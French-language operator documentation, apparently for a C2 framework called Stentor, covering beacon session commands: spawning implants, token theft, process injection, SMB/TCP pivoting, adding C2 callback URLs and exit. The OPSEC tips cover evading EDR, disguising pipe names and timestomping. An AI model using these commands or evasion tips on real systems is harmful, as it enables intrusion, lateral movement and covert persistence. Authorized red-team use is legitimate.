Gestion des sessions¶
Commandes de gestion des sessions de beacons : création de nouvelles beacons, gestion des liens peer-to-peer (P2P), métadonnées de session, configuration des beacons et stratégies de sortie. Ces commandes contrôlent le cycle de vie et la topologie de votre réseau d'implants.
Topologie des sessions¶
Stentor prend en charge les réseaux de beacons hiérarchiques dans lesquels les beacons enfants acheminent le trafic via les beacons parents vers le serveur C2. Cela permet d’accéder à des réseaux segmentés sans connectivité directe.
graph LR
TS[Teamserver] <-->|WebSocket| R[Relay Agent]
R <-->|HTTPS/DNS| PB[Parent Beacon]
PB <-->|SMB Pipe| CB1[Child Beacon<br>SMB Link]
PB <-->|TCP Bind| CB2[Child Beacon<br>TCP Link]
CB1 <-->|SMB Pipe| CB3[Grandchild<br>Beacon]
style TS fill:#1a1a2e,color:#e0e0e0,stroke:#00bcd4
style R fill:#16213e,color:#e0e0e0,stroke:#00bcd4
style PB fill:#0f3460,color:#e0e0e0,stroke:#4fc3f7
style CB1 fill:#533483,color:#e0e0e0,stroke:#ce93d8
style CB2 fill:#533483,color:#e0e0e0,stroke:#ce93d8
style CB3 fill:#2e1065,color:#e0e0e0,stroke:#ce93d8 Les beacons parents agissent comme des points de relais : les beacons enfants envoient leur trafic via le canal C2 établi par le parent. Cela signifie que les beacons pour enfants n’ont pas besoin d’un accès direct à Internet.
Référence des commandes de session¶
| Commande | Syntaxe | Description | Nécessite un administrateur |
|---|---|---|---|
spawn | spawn [x86\|x64] <listener> | Générer une nouvelle session de beacon | Non |
spawnas | spawnas [DOMAIN\user] [password] [listener] | Générer un beacon en tant qu'autre utilisateur | Non |
spawnu | spawnu [pid] [listener] | Beacon d'apparition via le vol de jetons du PID | Non |
inject | inject <pid> <x86\|x64> <listener> | Injecter un beacon dans le processus existant | Non |
link | link <host> [pipe_name] | Lien vers le beacon de canal nommée SMB | Non |
connect | connect <host> <port> | Se connecter au beacon de liaison TCP | Non |
unlink | unlink <child_beacon_id> | Déconnecter un beacon enfant liée | Non |
note | note <text> | Ajouter une étiquette à une session de beacon | Non |
checkin | checkin | Forcer l'enregistrement immédiat | Non |
cancel | cancel [pattern] | Annuler les tâches de téléchargement en file d'attente | Non |
clear | clear | Effacer toutes les tâches en attente | Non |
beacon_config | beacon_config [infos\|ajouter\|supprimer\|tenir\|libération\|réinitialiser] | Afficher/gérer la configuration des beacons | Non |
variables | variables | Afficher les variables d'exécution du beacon | Non |
data-store | data-store [args...] | Afficher le contenu du magasin de données de beacon | Non |
exit | exit | Terminer le processus de beacon | Non |
Générer de nouvelles sessions¶
Les commandes spawn créent de nouvelles sessions de beacon à partir d'un beacon existant. Chaque méthode utilise une identité ou un mécanisme d'injection différent.
spawn¶
Générez une nouvelle session de beacon en générant un shellcode pour le listener spécifié, en l'injectant dans un processus sacrificiel (selon la configuration spawnto) et en rappelant le listener.
Syntaxe :
L'argument d'architecture est facultatif : la valeur par défaut est x64 si seul un nom d'listener est fourni (par exemple, spawn HTTPS est équivalent à spawn x64 HTTPS).
Comment ça marche :
- Le backend demande la génération de shellcode à partir du relais pour le listener spécifié
- Relay compile de manière croisée un beacon sans stage et le convertit en shellcode via Donut
- Le shellcode est envoyé au beacon parent en tant que tâche
spawn - Le beacon parent crée un processus sacrificiel (selon la configuration
spawnto_x64/spawnto_x86) - Le shellcode est injecté dans le processus sacrificiel
- Un nouveau beacon rappelle le listener spécifié
Exemple de shell :
Exemple d'API :
curl -s -X POST "https://stentor.app/api/v1/cockpit/beacons/$BEACON_ID/shell" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"command": "spawn x64 HTTPS", "confirmed": true}'
Résolution du nom du listener
Le nom du listener est résolu sans tenir compte de la casse. Utilisez le nom exact de GET /api/v1/listeners ou du panneau d'écoute dans l'interface utilisateur.
spawnas¶
Générez un beacon en tant qu'autre utilisateur en utilisant des informations d'identification explicites via CreateProcessWithLogonW. La nouvelle beacon s'exécute dans le contexte de sécurité de l'utilisateur spécifié.
Syntaxe :
Si aucune barre oblique inverse n'est présente dans la spécification utilisateur, le domaine est par défaut . (machine locale).
Comment ça marche :
- Le backend génère un shellcode pour le listener spécifié (identique à
spawn) - Le beacon parent appelle
CreateProcessWithLogonWavec les informations d'identification fournies - Le nouveau processus s'exécute sous le jeton de l'utilisateur cible
- Le shellcode est injecté dans le nouveau processus
- Une nouvelle beacon rappelle sous l'identité de l'utilisateur cible
Exemple de shell :
beacon> spawnas CORP\svc_backup P@ssw0rd! HTTPS
[*] Tasked beacon to spawn as CORP\svc_backup via listener "HTTPS"
Exemple d'API :
curl -s -X POST "https://stentor.app/api/v1/cockpit/beacons/$BEACON_ID/shell" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"command": "spawnas CORP\\svc_backup P@ssw0rd! HTTPS", "confirmed": true}'
Considérations OPSEC
- Crée une nouvelle session de connexion - génère Windows Event 4624 Type 2 (connexion interactive)
- Les tentatives infructueuses génèrent Événement 4625 (échec de connexion) qui peut déclencher des politiques de verrouillage de compte
- Le processus généré hérite du profil de l'utilisateur cible et des appartenances aux groupes
- Pensez à utiliser
spawnu(vol de jeton) à la place si vous avez déjà un processus en cours d'exécution en tant qu'utilisateur cible
spawnu¶
Générez un beacon sous l'identité d'un autre processus en volant son jeton. La nouvelle beacon hérite du contexte de sécurité du processus cible sans nécessiter d'informations d'identification.
Syntaxe :
Comment ça marche :
- Le backend génère un shellcode pour le listener spécifié
- Le beacon parent ouvre un handle vers le PID cible
- Le jeton est dupliqué à partir du processus cible
- Un nouveau processus est créé à l'aide du jeton volé
- Le shellcode est injecté dans le nouveau processus
- Une nouvelle beacon rappelle sous l'identité volée
Exemple de shell :
Exemple d'API :
curl -s -X POST "https://stentor.app/api/v1/cockpit/beacons/$BEACON_ID/shell" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"command": "spawnu 4728 HTTPS", "confirmed": true}'
Recherche de PID cibles
Utilisez ps pour répertorier les processus et identifier les PID exécutés sous l'identité d'utilisateur souhaitée. Recherchez des processus de service de longue durée (par exemple, svchost.exe, services d'application) pour les sources de jetons stables.
Considérations OPSEC
- Nécessite
SeDebugPrivilegeou des droits d'accès suffisants pour ouvrir le processus cible - L'ouverture d'un descripteur de processus et la duplication d'un jeton génèrent une télémétrie ETW
- Le jeton volé offre les mêmes privilèges que le processus source, y compris l'appartenance à un groupe
injecter¶
Injectez le shellcode du beacon dans un processus existant. Contrairement à spawn, cela ne crée pas de nouveau processus : le beacon s'exécute dans l'espace d'adressage du processus cible.
Syntaxe :
Les trois arguments sont requis. L'architecture doit correspondre au processus cible (l'injection de shellcode x64 dans un processus x86 le fera planter).
Comment ça marche :
- Le backend génère un shellcode pour le listener et l'architecture spécifiés
- Le beacon parent ouvre un handle vers le processus cible
- La mémoire est allouée dans le processus cible
- Le shellcode est écrit et exécuté à l'aide de la technique d'injection configurée
- Une nouvelle beacon rappelle depuis le processus cible
La technique d'injection est configurable via le hook CNA PROCESS_INJECT_EXPLICIT, permettant aux opérateurs d'échanger des méthodes d'injection au moment de l'exécution.
Exemple de shell :
beacon> inject 3156 x64 HTTPS
[*] Tasked beacon to inject x64 shellcode into PID 3156 for listener "HTTPS"
Exemple d'API :
curl -s -X POST "https://stentor.app/api/v1/cockpit/beacons/$BEACON_ID/shell" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"command": "inject 3156 x64 HTTPS", "confirmed": true}'
Considérations OPSEC
- L'injection entre processus est fortement surveillée par EDR. Il s'agit de l'une des actions post-exploitation les plus détectables.
- Génère plusieurs événements de télémétrie :
VirtualAllocEx,WriteProcessMemory,CreateRemoteThread(ou équivalent pour la technique choisie) - Une incompatibilité d'architecture (par exemple, un shellcode x64 dans un processus x86) fera planter le processus cible.
- Préférer
spawn(qui utilise un processus sacrificiel) àinjectdans les processus de production - Si le processus cible se termine, le beacon injectée meurt avec lui
Liaison de beacon P2P¶
La liaison peer-to-peer permet aux beacons de communiquer via les beacons parents plutôt que directement avec le serveur C2. Ceci est essentiel pour atteindre les hôtes sur des segments de réseau isolés.
sequenceDiagram
participant Op as Operator
participant Parent as Parent Beacon
participant Child as Child Beacon (Listening)
Note over Child: Child beacon starts<br>listening on SMB pipe<br>or TCP port
Op->>Parent: link <host> [pipe] / connect <host> <port>
Parent->>Child: Connect to pipe/port
Child-->>Parent: Encrypted handshake
Parent-->>Child: Session established
Note over Parent,Child: P2P channel active<br>Child traffic routes<br>through Parent
loop Task Execution
Op->>Parent: Task for child beacon
Parent->>Child: Forward task via P2P
Child-->>Parent: Return result
Parent-->>Op: Forward result to C2
end
Op->>Parent: unlink <child_id>
Parent->>Child: Disconnect
Note over Child: Child goes to sleep<br>Can be re-linked later lien¶
Connectez-vous à un beacon de canal nommée SMB. Le beacon enfant doit déjà être exécutée et écoutée sur un canal nommé (créé via un payload SMB ou spawn avec un listener SMB).
Syntaxe :
Le nom du canal par défaut est \\.\pipe\stentor. Si le beacon enfant a été configurée avec un nom de canal personnalisé, spécifiez-le explicitement.
Comment ça marche :
- Le beacon parent se connecte au canal nommé SMB de l'enfant sur l'hôte spécifié
- Un canal P2P crypté est établi sur le canal
- Le trafic du beacon enfant est acheminé via le parent vers le serveur C2
- Le beacon enfant apparaît dans la console opérateur en tant que session liée
Exemple de shell :
beacon> link 10.10.10.50
[*] Tasked beacon to link to \\10.10.10.50\pipe\stentor
beacon> link 10.10.10.50 \\.\pipe\custom_pipe
[*] Tasked beacon to link to \\10.10.10.50\pipe\custom_pipe
Exemple d'API :
curl -s -X POST "https://stentor.app/api/v1/cockpit/beacons/$BEACON_ID/shell" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"command": "link 10.10.10.50", "confirmed": true}'
connecter¶
Connectez-vous à un beacon de liaison TCP. Le beacon enfant doit déjà être en cours d'exécution et écouter sur un port TCP (créé via un payload TCP ou spawn avec un listener TCP).
Syntaxe :
Les deux arguments sont requis. Le port doit être compris entre 1 et 65535.
Comment ça marche :
- Le beacon parent ouvre une connexion TCP avec l'enfant sur l'hôte et le port spécifiés
- Un canal P2P crypté est établi sur la connexion TCP
- Le trafic du beacon enfant est acheminé via le parent vers le serveur C2
- Le beacon enfant apparaît dans la console opérateur en tant que session liée
Exemple de shell :
Exemple d'API :
curl -s -X POST "https://stentor.app/api/v1/cockpit/beacons/$BEACON_ID/shell" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"command": "connect 10.10.10.50 4444", "confirmed": true}'
dissocier¶
Déconnectez un beacon enfant liée. Le beacon enfant se met en veille et peut être réassociée ultérieurement à l'aide de link ou connect.
Syntaxe :
L'argument est l'UUID du beacon enfant (visible dans la liste des beacons ou dans la sortie de la console).
Exemple de shell :
Exemple d'API :
curl -s -X POST "https://stentor.app/api/v1/cockpit/beacons/$BEACON_ID/shell" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"command": "unlink a1b2c3d4-e5f6-7890-abcd-ef1234567890", "confirmed": true}'
Remarques OPSEC P2P¶
Canaux SMB et TCP P2P
Les canaux nommés SMB se mélangent au trafic normal de partage de fichiers Windows (port 445). La plupart des réseaux d'entreprise autorisent le SMB entre hôtes, ce qui en fait la méthode P2P préférée. Cependant, le nom du canal par défaut (\\.\pipe\stentor) est un indicateur connu : personnalisez-le toujours.
Les connexions de liaison TCP sont plus visibles sur le réseau car elles utilisent des ports non standard, mais elles fonctionnent sur des segments de réseau où SMB peut être bloqué. Choisissez un port qui s'intègre à l'environnement cible (par exemple, 8080, 443).
Considérations sur la détection
- SMB : événements de création de canaux nommés (ID d'événement Sysmon 17/18), noms de canaux inhabituels
- TCP : Nouveau port d'écoute (netstat), connexion au port non standard depuis le poste de travail
- Les deux : anomalies de volume de trafic via le beacon parent
- Personnalisez les noms de canaux pour qu'ils correspondent aux modèles logiciels légitimes (par exemple,
\\.\pipe\chrome.update.1)
Métadonnées de session¶
Commandes pour annoter, gérer et inspecter les sessions de beacon.
remarque¶
Ajoutez une note textuelle ou une étiquette à une session de beacon. Les notes sont stockées côté serveur dans le registre des beacons et conservées dans la base de données. Utile pour suivre l’objectif, la propriété ou le statut des beacons individuelles.
Syntaxe :
Pour effacer une note, exécutez note sans argument.
Exemple de shell :
beacon> note DC lateral movement pivot
[*] Note set: "DC lateral movement pivot"
beacon> note
[*] Note cleared
Exemple d'API :
curl -s -X POST "https://stentor.app/api/v1/cockpit/beacons/$BEACON_ID/shell" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"command": "note DC lateral movement pivot", "confirmed": true}'
enregistrement¶
Forcez le beacon à s'enregistrer immédiatement, en contournant l'intervalle de veille actuel. Le beacon renvoie ses informations système (nom d'hôte, IP, utilisateur, PID, etc.) lors du prochain cycle d'interrogation.
Syntaxe :
Exemple de shell :
Exemple d'API :
curl -s -X POST "https://stentor.app/api/v1/cockpit/beacons/$BEACON_ID/shell" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"command": "checkin", "confirmed": true}'
Quand utiliser l'enregistrement
Utilisez checkin après avoir modifié la configuration du beacon (veille, paramètres d'évasion) pour vérifier que les modifications ont pris effet immédiatement. Également utile pour confirmer qu'un beacon est toujours active après une période d'inactivité. Pour la configuration du mode veille/instabilité, consultez la page Commandes d'évasion.
annuler¶
Annulez les tâches de téléchargement en file d’attente pour le beacon. Accepte un modèle global pour annuler sélectivement les téléchargements correspondant à un modèle de nom de fichier.
Syntaxe :
Si aucun modèle n'est fourni, la valeur par défaut est * (annuler tous les téléchargements en attente).
Exemple de shell :
beacon> cancel *.docx
[*] Cancelled 3 download(s) matching "*.docx"
beacon> cancel
[*] Cancelled 7 download(s) matching "*"
Exemple d'API :
curl -s -X POST "https://stentor.app/api/v1/cockpit/beacons/$BEACON_ID/shell" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"command": "cancel *.docx", "confirmed": true}'
clair¶
Effacez toutes les tâches en attente (non encore livrées) de la file d'attente des tâches du beacon. Les tâches déjà livrées au beacon ne sont pas affectées.
Syntaxe :
Exemple de shell :
Exemple d'API :
curl -s -X POST "https://stentor.app/api/v1/cockpit/beacons/$BEACON_ID/shell" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"command": "clear", "confirmed": true}'
Quand utiliser le clair
Utilisez clear lorsque vous avez mis plusieurs tâches en file d'attente par erreur ou que vous souhaitez abandonner une séquence d'opérations. Seules les tâches en attente côté serveur sont supprimées : tout ce qui est déjà envoyé au beacon sera toujours exécuté.
Configuration du beacon¶
Commandes pour afficher et gérer la configuration d’exécution du beacon.
beacon_config¶
Affichez et gérez la configuration du beacon, y compris les URL C2, les paramètres de veille, l'état d'évasion et les métadonnées de session.
Syntaxe :
beacon_config # Show current configuration (default)
beacon_config info # Same as above
beacon_config add <url> # Add a C2 callback URL
beacon_config remove <url> # Remove a C2 callback URL
beacon_config hold <url> # Temporarily disable a C2 URL
beacon_config release <url> # Re-enable a held C2 URL
beacon_config reset # Reset to default configuration
Exemple de shell :
beacon> beacon_config
[*] Beacon Configuration:
Beacon ID: a1b2c3d4-e5f6-7890-abcd-ef1234567890
Sleep: 60s (25% jitter)
PID: 4728
User: CORP\admin
Hostname: WS-PC01
SpawnTo x64: %windir%\sysnative\rundll32.exe
SpawnTo x86: %windir%\syswow64\rundll32.exe
BlockDLLs: enabled
SleepMask: enabled
Syscall: Indirect
BeaconGate: enabled
beacon> beacon_config add https://backup-c2.example.com/api
[*] Added C2 URL: https://backup-c2.example.com/api
Exemple d'API :
curl -s -X POST "https://stentor.app/api/v1/cockpit/beacons/$BEACON_ID/shell" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"command": "beacon_config", "confirmed": true}'
variables¶
Afficher toutes les variables d'exécution du beacon. Les variables sont résolues côté serveur à partir du registre de beacon : aucune tâche n'est envoyée au beacon. Cela fournit une vue complète de l’état actuel du beacon.
Syntaxe :
Variables disponibles :
| Variable | Description |
|---|---|
$bid | UUID du beacon |
$hostname | Nom d'hôte cible |
$user | Nom d'utilisateur actuel |
$ip | Adresse IP cible |
$os | Système d'exploitation |
$arch | Architecture (x86/x64) |
$pid | ID de processus |
$sleep | Intervalle de sommeil (secondes) |
$jitter | Pourcentage de gigue |
$note | Note attribuée par l'opérateur |
$spawnto_x86 | Chemin du processus sacrificiel x86 |
$spawnto_x64 | Chemin de processus sacrificiel x64 |
$blockdlls | État de la stratégie BlockDLL |
$ppid_target | Cible d'usurpation d'identité PPID |
$sleep_mask | État de masquage du sommeil |
$syscall_method | Méthode Syscall (Aucun/Direct/Indirect) |
$beacon_gate | État de BeaconGate |
$injection_technique | Technique d'injection actuelle |
Exemple de shell :
beacon> variables
[*] Beacon Variables:
$bid a1b2c3d4-e5f6-7890-abcd-ef1234567890
$hostname WS-PC01
$user CORP\admin
$ip 10.10.10.50
$os Windows 10 Pro 22H2
$arch x64
$pid 4728
$sleep 60
$jitter 25
$note DC pivot
$spawnto_x64 %windir%\sysnative\rundll32.exe
$blockdlls true
$sleep_mask true
$syscall_method Indirect
$beacon_gate true
Exemple d'API :
# Via shell command
curl -s -X POST "https://stentor.app/api/v1/cockpit/beacons/$BEACON_ID/shell" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"command": "variables", "confirmed": true}'
# Via dedicated REST endpoint
curl -s "https://stentor.app/api/v1/c2/beacons/$BEACON_ID/variables" \
-H "Authorization: Bearer $TOKEN"
magasin de données¶
Affichez le contenu du magasin de données du beacon. Le magasin de données est un magasin clé-valeur utilisé pour le préchargement BOF et les données persistantes lors des exécutions de tâches.
Syntaxe :
Exemple de shell :
Exemple d'API :
curl -s -X POST "https://stentor.app/api/v1/cockpit/beacons/$BEACON_ID/shell" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"command": "data-store", "confirmed": true}'
Stratégies de sortie¶
sortir¶
Terminez proprement le processus de beacon. Le beacon envoie un résultat d'enregistrement final confirmant la sortie, puis appelle sa fonction de sortie configurée pour terminer.
Syntaxe :
Le comportement de sortie dépend de l'option de build exit_func configurée lors de la génération de le payload :
| Fonction de sortie | Comportement | Cas d'utilisation |
|---|---|---|
process (par défaut) | Appelle ExitProcess – termine l'intégralité du processus hôte. | Beacons EXE autonomes |
thread | Appelle ExitThread -- termine uniquement le thread de beacon | Beacons injectées (maintiennent le processus hôte en vie) |
Exemple de shell :
Exemple d'API (commande shell) :
curl -s -X POST "https://stentor.app/api/v1/cockpit/beacons/$BEACON_ID/shell" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"command": "exit", "confirmed": true}'
Exemple d'API (point de terminaison REST) :
curl -s -X POST "https://stentor.app/api/v1/c2/beacons/$BEACON_ID/state/exit" \
-H "Authorization: Bearer $TOKEN"
Considérations OPSEC
- La commande
exitlaisse le binaire de l'implant sur le disque (si le beacon n'était pas sans fichier). Pensez à utilisertimestompsur le binaire avant de quitter pour réduire les artefacts médico-légaux. - Lorsque vous utilisez
exit_func: process, tout autre code exécuté dans le même processus (par exemple, si vous l'avez injecté dans une application légitime) sera également terminé, ce qui est bruyant. - Pour les beacons injectées, utilisez toujours
exit_func: threadau moment de la construction afin queexittue uniquement le thread du beacon. - Faites une référence croisée à l'option de construction
exit_funcdans Evasion Kits pour plus de détails.
Résumé des interactions avec les commandes¶
Le diagramme suivant montre comment les commandes de gestion de session circulent dans l'architecture Stentor :
flowchart TD
A[Operator Console] -->|"spawn / inject / link / exit"| B[Backend Shell Handler]
B -->|spawn / spawnas / spawnu / inject| C{Shellcode Needed?}
C -->|Yes| D[Relay Agent]
D -->|Generate shellcode| E[Return to Backend]
E -->|Enqueue spawn task| F[Task Queue]
C -->|No: link / unlink / exit / note| F
F -->|Beacon polls| G[Parent Beacon]
G -->|Execute task| H[Result]
H -->|spawn/inject| I[New Beacon Session]
H -->|link/connect| J[P2P Channel Established]
H -->|exit| K[Beacon Terminates]
style A fill:#1a1a2e,color:#e0e0e0,stroke:#00bcd4
style B fill:#16213e,color:#e0e0e0,stroke:#00bcd4
style D fill:#0f3460,color:#e0e0e0,stroke:#4fc3f7
style F fill:#533483,color:#e0e0e0,stroke:#ce93d8
style G fill:#0f3460,color:#e0e0e0,stroke:#4fc3f7
style I fill:#1b5e20,color:#e0e0e0,stroke:#66bb6a
style J fill:#1b5e20,color:#e0e0e0,stroke:#66bb6a
style K fill:#b71c1c,color:#e0e0e0,stroke:#ef5350 Les commandes qui nécessitent la génération de shellcode (spawn, spawnas, spawnu, inject) impliquent un aller-retour vers l'agent Relay avant que la tâche ne soit mise en file d'attente. Les commandes qui opèrent directement sur le beacon (link, connect, unlink, note, checkin, clear, exit) sont immédiatement mises en file d'attente.